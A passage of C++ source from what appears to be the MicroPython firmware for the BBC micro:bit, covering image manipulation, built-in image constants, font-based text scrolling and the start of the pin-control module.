image\");\n    }\n    if (n_args == 7) {\n        mp_raise_TypeError(\"must specify both offsets\");\n    }\n    mp_int_t x = mp_obj_get_int(args[2]);\n    mp_int_t y = mp_obj_get_int(args[3]);\n    mp_int_t w = mp_obj_get_int(args[4]);\n    mp_int_t h = mp_obj_get_int(args[5]);\n    if (w < 0 || h < 0) {\n        mp_raise_ValueError(\"size cannot be negative\");\n    }\n    mp_int_t xdest;\n    mp_int_t ydest;\n    if (n_args == 6) {\n        xdest = 0;\n        ydest = 0;\n    } else {\n        xdest = mp_obj_get_int(args[6]);\n        ydest = mp_obj_get_int(args[7]);\n    }\n    image_blit((microbit_image_obj_t *)src, &(self->greyscale), x, y, w, h, xdest, ydest);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_blit_obj, 6, 8, microbit_image_blit);\n\nmp_obj_t microbit_image_crop(mp_uint_t n_args, const mp_obj_t *args) {\n    (void)n_args;\n    microbit_image_obj_t *self = (microbit_image_obj_t*)args[0];\n    mp_int_t x0 = mp_obj_get_int(args[1]);\n    mp_int_t y0 = mp_obj_get_int(args[2]);\n    mp_int_t x1 = mp_obj_get_int(args[3]);\n    mp_int_t y1 = mp_obj_get_int(args[4]);\n    return image_crop(self, x0, y0, x1, y1);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_crop_obj, 5, 5, microbit_image_crop);\n\nmp_obj_t microbit_image_shift_left(mp_obj_t self_in, mp_obj_t n_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    mp_int_t n = mp_obj_get_int(n_in);\n    return image_shift(self, n, 0);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_left_obj, microbit_image_shift_left);\n\nmp_obj_t microbit_image_shift_right(mp_obj_t self_in, mp_obj_t n_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    mp_int_t n = mp_obj_get_int(n_in);\n    return image_shift(self, -n, 0);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_right_obj, microbit_image_shift_right);\n\nmp_obj_t microbit_image_shift_up(mp_obj_t self_in, mp_obj_t n_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    mp_int_t n = mp_obj_get_int(n_in);\n    return image_shift(self, 0, n);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_up_obj, microbit_image_shift_up);\n\nmp_obj_t microbit_image_shift_down(mp_obj_t self_in, mp_obj_t n_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    mp_int_t n = mp_obj_get_int(n_in);\n    return image_shift(self, 0, -n);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(microbit_image_shift_down_obj, microbit_image_shift_down);\n\nmp_obj_t microbit_image_copy(mp_obj_t self_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    return self->copy();\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_image_copy_obj, microbit_image_copy);\n\nmp_obj_t microbit_image_invert(mp_obj_t self_in) {\n    microbit_image_obj_t *self = (microbit_image_obj_t*)self_in;\n    return self->invert();\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_image_invert_obj, microbit_image_invert);\n\n\nSTATIC const mp_map_elem_t microbit_image_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_width), (mp_obj_t)&microbit_image_width_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_height), (mp_obj_t)&microbit_image_height_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_pixel), (mp_obj_t)&microbit_image_get_pixel_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_pixel), (mp_obj_t)&microbit_image_set_pixel_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_shift_left), (mp_obj_t)&microbit_image_shift_left_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_shift_right), (mp_obj_t)&microbit_image_shift_right_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_shift_up), (mp_obj_t)&microbit_image_shift_up_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_shift_down), (mp_obj_t)&microbit_image_shift_down_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_copy), (mp_obj_t)&microbit_image_copy_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_crop), (mp_obj_t)&microbit_image_crop_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_invert), (mp_obj_t)&microbit_image_invert_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_fill), (mp_obj_t)&microbit_image_fill_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_blit), (mp_obj_t)&microbit_image_blit_obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_HEART), (mp_obj_t)&microbit_const_image_heart_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_HEART_SMALL), (mp_obj_t)&microbit_const_image_heart_small_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_HAPPY), (mp_obj_t)&microbit_const_image_happy_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SMILE), (mp_obj_t)&microbit_const_image_smile_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SAD), (mp_obj_t)&microbit_const_image_sad_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CONFUSED), (mp_obj_t)&microbit_const_image_confused_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ANGRY), (mp_obj_t)&microbit_const_image_angry_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ASLEEP), (mp_obj_t)&microbit_const_image_asleep_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SURPRISED), (mp_obj_t)&microbit_const_image_surprised_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SILLY), (mp_obj_t)&microbit_const_image_silly_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_FABULOUS), (mp_obj_t)&microbit_const_image_fabulous_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_MEH), (mp_obj_t)&microbit_const_image_meh_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_YES), (mp_obj_t)&microbit_const_image_yes_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_NO), (mp_obj_t)&microbit_const_image_no_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK12), (mp_obj_t)&microbit_const_image_clock12_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK1), (mp_obj_t)&microbit_const_image_clock1_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK2), (mp_obj_t)&microbit_const_image_clock2_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK3), (mp_obj_t)&microbit_const_image_clock3_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK4), (mp_obj_t)&microbit_const_image_clock4_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK5), (mp_obj_t)&microbit_const_image_clock5_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK6), (mp_obj_t)&microbit_const_image_clock6_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK7), (mp_obj_t)&microbit_const_image_clock7_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK8), (mp_obj_t)&microbit_const_image_clock8_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK9), (mp_obj_t)&microbit_const_image_clock9_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK10), (mp_obj_t)&microbit_const_image_clock10_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CLOCK11), (mp_obj_t)&microbit_const_image_clock11_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_N), (mp_obj_t)&microbit_const_image_arrow_n_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_NE), (mp_obj_t)&microbit_const_image_arrow_ne_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_E), (mp_obj_t)&microbit_const_image_arrow_e_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_SE), (mp_obj_t)&microbit_const_image_arrow_se_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_S), (mp_obj_t)&microbit_const_image_arrow_s_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_SW), (mp_obj_t)&microbit_const_image_arrow_sw_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_W), (mp_obj_t)&microbit_const_image_arrow_w_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ARROW_NW), (mp_obj_t)&microbit_const_image_arrow_nw_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_TRIANGLE), (mp_obj_t)&microbit_const_image_triangle_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_TRIANGLE_LEFT), (mp_obj_t)&microbit_const_image_triangle_left_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CHESSBOARD), (mp_obj_t)&microbit_const_image_chessboard_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_DIAMOND), (mp_obj_t)&microbit_const_image_diamond_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_DIAMOND_SMALL), (mp_obj_t)&microbit_const_image_diamond_small_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SQUARE), (mp_obj_t)&microbit_const_image_square_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SQUARE_SMALL), (mp_obj_t)&microbit_const_image_square_small_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_RABBIT), (mp_obj_t)&microbit_const_image_rabbit },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_COW), (mp_obj_t)&microbit_const_image_cow },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_MUSIC_CROTCHET), (mp_obj_t)&microbit_const_image_music_crotchet_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_MUSIC_QUAVER), (mp_obj_t)&microbit_const_image_music_quaver_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_MUSIC_QUAVERS), (mp_obj_t)&microbit_const_image_music_quavers_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_PITCHFORK), (mp_obj_t)&microbit_const_image_pitchfork_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_XMAS), (mp_obj_t)&microbit_const_image_xmas_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_PACMAN), (mp_obj_t)&microbit_const_image_pacman_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_TARGET), (mp_obj_t)&microbit_const_image_target_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ALL_CLOCKS), (mp_obj_t)&microbit_const_image_all_clocks_tuple_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ALL_ARROWS), (mp_obj_t)&microbit_const_image_all_arrows_tuple_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_TSHIRT), (mp_obj_t)&microbit_const_image_tshirt_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ROLLERSKATE), (mp_obj_t)&microbit_const_image_rollerskate_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_DUCK), (mp_obj_t)&microbit_const_image_duck_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_HOUSE), (mp_obj_t)&microbit_const_image_house_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_TORTOISE), (mp_obj_t)&microbit_const_image_tortoise_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_BUTTERFLY), (mp_obj_t)&microbit_const_image_butterfly_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_STICKFIGURE), (mp_obj_t)&microbit_const_image_stickfigure_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_GHOST), (mp_obj_t)&microbit_const_image_ghost_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SWORD), (mp_obj_t)&microbit_const_image_sword_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_GIRAFFE), (mp_obj_t)&microbit_const_image_giraffe_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SKULL), (mp_obj_t)&microbit_const_image_skull_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_UMBRELLA), (mp_obj_t)&microbit_const_image_umbrella_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_SNAKE), (mp_obj_t)&microbit_const_image_snake_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_image_locals_dict, microbit_image_locals_dict_table);\n\n#define THE_FONT MicroBitFont::defaultFont\n\n#define ASCII_START 32\n#define ASCII_END 126\n\nSTATIC const unsigned char *get_font_data_from_char(char c) {\n    if (c < ASCII_START || c > ASCII_END) {\n        c = '?';\n    }\n    int offset = (c-ASCII_START) * 5;\n    return THE_FONT + offset;\n}\n\nSTATIC mp_int_t get_pixel_from_font_data(const unsigned char *data, int x, int y) {\n    /* The following logic belongs in MicroBitFont */\n    return ((data[y]>>(4-x))&1);\n}\n\nvoid microbit_image_set_from_char(greyscale_t *img, char c) {\n    const unsigned char *data = get_font_data_from_char(c);\n    for (int x = 0; x < 5; ++x) {\n        for (int y = 0; y < 5; ++y) {\n            img->setPixelValue(x, y, get_pixel_from_font_data(data, x, y)*MAX_BRIGHTNESS);\n        }\n    }\n}\n\n\nmicrobit_image_obj_t *microbit_image_for_char(char c) {\n    greyscale_t *result = greyscale_new(5,5);\n    microbit_image_set_from_char(result, c);\n    return (microbit_image_obj_t *)result;\n}\n\nmicrobit_image_obj_t *microbit_image_dim(microbit_image_obj_t *lhs, mp_float_t fval) {\n    if (fval < 0)\n        mp_raise_ValueError(\"brightness multiplier must not be negative\");\n    greyscale_t *result = greyscale_new(lhs->width(), lhs->height());\n    for (int x = 0; x < lhs->width(); ++x) {\n        for (int y = 0; y < lhs->width(); ++y) {\n            int val = min((int)lhs->getPixelValue(x,y)*fval+0.5, MAX_BRIGHTNESS);\n            result->setPixelValue(x, y, val);\n        }\n    }\n    return (microbit_image_obj_t *)result;\n}\n\nmicrobit_image_obj_t *microbit_image_sum(microbit_image_obj_t *lhs, microbit_image_obj_t *rhs, bool add) {\n    mp_int_t h = lhs->height();\n    mp_int_t w = lhs->width();\n    if (rhs->height() != h || lhs->width() != w) {\n        mp_raise_ValueError(\"images must be the same size\");\n    }\n    greyscale_t *result = greyscale_new(w, h);\n    for (int x = 0; x < w; ++x) {\n        for (int y = 0; y < h; ++y) {\n            int val;\n            int lval = lhs->getPixelValue(x,y);\n            int rval = rhs->getPixelValue(x,y);\n            if (add)\n                val = min(lval + rval, MAX_BRIGHTNESS);\n            else\n                val = max(0, lval - rval);\n            result->setPixelValue(x, y, val);\n        }\n    }\n    return (microbit_image_obj_t *)result;\n}\n\nSTATIC mp_obj_t image_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    if (mp_obj_get_type(lhs_in) != &microbit_image_type) {\n        return MP_OBJ_NULL; // op not supported\n    }\n    microbit_image_obj_t *lhs = (microbit_image_obj_t *)lhs_in;\n    switch(op) {\n    case MP_BINARY_OP_ADD:\n    case MP_BINARY_OP_SUBTRACT:\n        break;\n    case MP_BINARY_OP_MULTIPLY:\n        return microbit_image_dim(lhs, mp_obj_get_float(rhs_in));\n    case MP_BINARY_OP_TRUE_DIVIDE:\n        return microbit_image_dim(lhs, 1.0/mp_obj_get_float(rhs_in));\n    default:\n        return MP_OBJ_NULL; // op not supported\n    }\n    if (mp_obj_get_type(rhs_in) != &microbit_image_type) {\n        return MP_OBJ_NULL; // op not supported\n    }\n    return microbit_image_sum(lhs, (microbit_image_obj_t *)rhs_in, op == MP_BINARY_OP_ADD);\n}\n\n\nconst mp_obj_type_t microbit_image_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_MicroBitImage,\n    .print = microbit_image_print,\n    .make_new = microbit_image_make_new,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = image_binary_op,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&microbit_image_locals_dict,\n};\n\ntypedef struct _scrolling_string_t {\n    mp_obj_base_t base;\n    char const *str;\n    mp_uint_t len;\n    mp_obj_t ref;\n    bool monospace;\n    bool repeat;\n} scrolling_string_t;\n\ntypedef struct _scrolling_string_iterator_t {\n    mp_obj_base_t base;\n    mp_obj_t ref;\n    greyscale_t *img;\n    char const *next_char;\n    char const *start;\n    char const *end;\n    uint8_t offset;\n    uint8_t offset_limit;\n    bool monospace;\n    bool repeat;\n    char right;\n} scrolling_string_iterator_t;\n\nextern const mp_obj_type_t microbit_scrolling_string_type;\nextern const mp_obj_type_t microbit_scrolling_string_iterator_type;\n\nmp_obj_t scrolling_string_image_iterable(const char* str, mp_uint_t len, mp_obj_t ref, bool monospace, bool repeat) {\n    scrolling_string_t *result = m_new_obj(scrolling_string_t);\n    result->base.type = &microbit_scrolling_string_type;\n    result->str = str;\n    result->len = len;\n    result->ref = ref;\n    result->monospace = monospace;\n    result->repeat = repeat;\n    return result;\n}\n\nSTATIC int font_column_non_blank(const unsigned char *font_data, unsigned int col) {\n    for (int y = 0; y < 5; ++y) {\n        if (get_pixel_from_font_data(font_data, col, y)) {\n            return 1;\n        }\n    }\n    return 0;\n}\n\n/* Not strictly the rightmost non-blank column, but the rightmost in columns 2,3 or 4. */\nSTATIC unsigned int rightmost_non_blank_column(const unsigned char *font_data) {\n    if (font_column_non_blank(font_data, 4)) {\n        return 4;\n    }\n    if (font_column_non_blank(font_data, 3)) {\n        return 3;\n    }\n    return 2;\n}\n\nstatic void restart(scrolling_string_iterator_t *iter) {\n    iter->next_char = iter->start;\n    iter->offset = 0;\n    if (iter->start < iter->end) {\n        iter->right = *iter->next_char;\n        if (iter->monospace) {\n            iter->offset_limit = 5;\n        } else {\n            iter->offset_limit = rightmost_non_blank_column(get_font_data_from_char(iter->right)) + 1;\n        }\n    } else {\n        iter->right = ' ';\n        iter->offset_limit = 5;\n    }\n}\n\nSTATIC mp_obj_t get_microbit_scrolling_string_iter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) {\n    (void)iter_buf; // not big enough to hold scrolling_string_iterator_t\n    scrolling_string_t *str = (scrolling_string_t *)o_in;\n    scrolling_string_iterator_t *result = m_new_obj(scrolling_string_iterator_t);\n    result->base.type = &microbit_scrolling_string_iterator_type;\n    result->img = greyscale_new(5,5);\n    result->start = str->str;\n    result->ref = str->ref;\n    result->monospace = str->monospace;\n    result->end = result->start + str->len;\n    result->repeat = str->repeat;\n    restart(result);\n    return result;\n}\n\nSTATIC mp_obj_t microbit_scrolling_string_iter_next(mp_obj_t o_in) {\n    scrolling_string_iterator_t *iter = (scrolling_string_iterator_t *)o_in;\n    if (iter->next_char == iter->end && iter->offset == 5) {\n        if (iter->repeat) {\n            restart(iter);\n            iter->img->clear();\n        } else {\n            return MP_OBJ_STOP_ITERATION;\n        }\n    }\n    for (int x = 0; x < 4; x++) {\n        for (int y = 0; y < 5; y++) {\n            iter->img->setPixelValue(x, y, iter->img->getPixelValue(x+1, y));\n        }\n    }\n    for (int y = 0; y < 5; y++) {\n        iter->img->setPixelValue(4, y, 0);\n    }\n    const unsigned char *font_data;\n    if (iter->offset < iter->offset_limit) {\n        font_data = get_font_data_from_char(iter->right);\n        for (int y = 0; y < 5; ++y) {\n            int pix = get_pixel_from_font_data(font_data, iter->offset, y)*MAX_BRIGHTNESS;\n            iter->img->setPixelValue(4, y, pix);\n        }\n    } else if (iter->offset == iter->offset_limit) {\n        ++iter->next_char;\n        if (iter->next_char == iter->end) {\n            iter->right = ' ';\n            iter->offset_limit = 5;\n            iter->offset = 0;\n        } else {\n            iter->right = *iter->next_char;\n            font_data = get_font_data_from_char(iter->right);\n            if (iter->monospace) {\n                iter->offset = -1;\n                iter->offset_limit = 5;\n            } else {\n                iter->offset = -font_column_non_blank(font_data, 0);\n                iter->offset_limit = rightmost_non_blank_column(font_data)+1;\n            }\n        }\n    }\n    ++iter->offset;\n    return iter->img;\n}\n\nconst mp_obj_type_t microbit_scrolling_string_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_ScrollingString,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = get_microbit_scrolling_string_iter,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = NULL,\n};\n\nconst mp_obj_type_t microbit_scrolling_string_iterator_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = mp_identity_getiter,\n    .iternext = microbit_scrolling_string_iter_next,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = NULL,\n};\n\n/** Facade types to present a string as a sequence of images.\n * These are necessary to avoid allocation during iteration,\n * which may happen in interrupt handlers.\n */\n\ntypedef struct _string_image_facade_t {\n    mp_obj_base_t base;\n    mp_obj_t string;\n    greyscale_t *image;\n} string_image_facade_t;\n\nstatic mp_obj_t string_image_facade_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value) {\n    if (value == MP_OBJ_SENTINEL) {\n        // Fill in image\n        string_image_facade_t *self = (string_image_facade_t *)self_in;\n        mp_uint_t len;\n        const char *text = mp_obj_str_get_data(self->string, &len);\n        mp_uint_t index = mp_get_index(self->base.type, len, index_in, false);\n        microbit_image_set_from_char(self->image, text[index]);\n        return self->image;\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nstatic mp_obj_t facade_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    string_image_facade_t *self = (string_image_facade_t *)self_in;\n    switch (op) {\n        case MP_UNARY_OP_LEN:\n            return mp_obj_len(self->string);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nstatic mp_obj_t microbit_facade_iterator(mp_obj_t iterable_in, mp_obj_iter_buf_t *iter_buf);\n\nconst mp_obj_type_t string_image_facade_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_Facade,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = facade_unary_op,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = string_image_facade_subscr,\n    .getiter = microbit_facade_iterator,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    NULL\n};\n\n\ntypedef struct _facade_iterator_t {\n    mp_obj_base_t base;\n    mp_obj_t string;\n    mp_uint_t index;\n    greyscale_t *image;\n} facade_iterator_t;\n\nmp_obj_t microbit_string_facade(mp_obj_t string) {\n    string_image_facade_t *result = m_new_obj(string_image_facade_t);\n    result->base.type = &string_image_facade_type;\n    result->string = string;\n    result->image = greyscale_new(5,5);\n    return result;\n}\n\nstatic mp_obj_t microbit_facade_iter_next(mp_obj_t iter_in) {\n    facade_iterator_t *iter = (facade_iterator_t *)iter_in;\n    mp_uint_t len;\n    const char *text = mp_obj_str_get_data(iter->string, &len);\n    if (iter->index >= len) {\n        return MP_OBJ_STOP_ITERATION;\n    }\n    microbit_image_set_from_char(iter->image, text[iter->index]);\n    iter->index++;\n    return iter->image;\n}\n\nconst mp_obj_type_t microbit_facade_iterator_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = mp_identity_getiter,\n    .iternext = microbit_facade_iter_next,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    NULL\n};\n\nstatic mp_obj_t microbit_facade_iterator(mp_obj_t iterable_in, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(facade_iterator_t) <= sizeof(mp_obj_iter_buf_t));\n    facade_iterator_t *result = (facade_iterator_t*)iter_buf;\n    string_image_facade_t *iterable = (string_image_facade_t *)iterable_in;\n    result->base.type = &microbit_facade_iterator_type;\n    result->string = iterable->string;\n    result->image = iterable->image;\n    result->index = 0;\n    return result;\n}\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/microbitpin.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"MicroBitPin.h\"\n\nextern \"C\" {\n\n#include \"nrf_gpio.h\"\n#include \"py/runtime.h\"\n#include \"py/mphal.h\"\n#include \"lib/pwm.h\"\n#include \"microbit/modmicrobit.h\"\n\nconst microbit_pin_obj_t microbit_p0_obj = {{&microbit_touch_pin_type}, 0, MICROBIT_PIN_P0, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p1_obj = {{&microbit_touch_pin_type}, 1, MICROBIT_PIN_P1, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p2_obj = {{&microbit_touch_pin_type}, 2, MICROBIT_PIN_P2, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p3_obj = {{&microbit_ad_pin_type},   3,  MICROBIT_PIN_P3, MODE_DISPLAY};\nconst microbit_pin_obj_t microbit_p4_obj = {{&microbit_ad_pin_type},   4,  MICROBIT_PIN_P4, MODE_DISPLAY};\nconst microbit_pin_obj_t microbit_p5_obj = {{&microbit_dig_pin_type},  5,  MICROBIT_PIN_P5, MODE_BUTTON};\nconst microbit_pin_obj_t microbit_p6_obj = {{&microbit_dig_pin_type},  6,  MICROBIT_PIN_P6, MODE_DISPLAY};\nconst microbit_pin_obj_t microbit_p7_obj = {{&microbit_dig_pin_type},  7,  MICROBIT_PIN_P7, MODE_DISPLAY};\nconst microbit_pin_obj_t microbit_p8_obj = {{&microbit_dig_pin_type},  8,  MICROBIT_PIN_P8, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p9_obj = {{&microbit_dig_pin_type},  9,  MICROBIT_PIN_P9, MODE_DISPLAY};\nconst microbit_pin_obj_t microbit_p10_obj = {{&microbit_ad_pin_type},  10, MICROBIT_PIN_P10, MODE_DISPLAY};\nconst microbit_pin_obj_t microbit_p11_obj = {{&microbit_dig_pin_type}, 11, MICROBIT_PIN_P11, MODE_BUTTON};\nconst microbit_pin_obj_t microbit_p12_obj = {{&microbit_dig_pin_type}, 12, MICROBIT_PIN_P12, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p13_obj = {{&microbit_dig_pin_type}, 13, MICROBIT_PIN_P13, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p14_obj = {{&microbit_dig_pin_type}, 14, MICROBIT_PIN_P14, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p15_obj = {{&microbit_dig_pin_type}, 15, MICROBIT_PIN_P15, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p16_obj = {{&microbit_dig_pin_type}, 16, MICROBIT_PIN_P16, MODE_UNUSED};\nconst microbit_pin_obj_t microbit_p19_obj = {{&microbit_dig_pin_type}, 19, MICROBIT_PIN_P19, MODE_I2C};\nconst microbit_pin_obj_t microbit_p20_obj = {{&microbit_dig_pin_type}, 20, MICROBIT_PIN_P20, MODE_I2C};\n\n\nstatic mp_obj_t microbit_pin_get_mode_func(mp_obj_t self_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    return MP_OBJ_NEW_QSTR(microbit_pin_get_mode(self)->name);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(microbit_pin_get_mode_obj, microbit_pin_get_mode_func);\n\nmp_obj_t microbit_pin_write_digital(mp_obj_t self_in, mp_obj_t value_in) {\n    microbit_pin_obj_t *self = (microbit_pin_obj_t*)self_in;\n    int val = mp_obj_get_int(value_in);\n    if (val >> 1) {\n        mp_raise_ValueError(\"value must be 0 or 1\");\n    }\n    if (microbit_obj_pin_acquire(self, microbit_pin_mode_write_digital)) {\n        nrf_gpio_cfg_output(self->name);\n    }\n    if (val)\n        nrf_gpio_pin_set(self->name);\n    else\n        nrf_gpio_pin_clear(self->name);\n    return 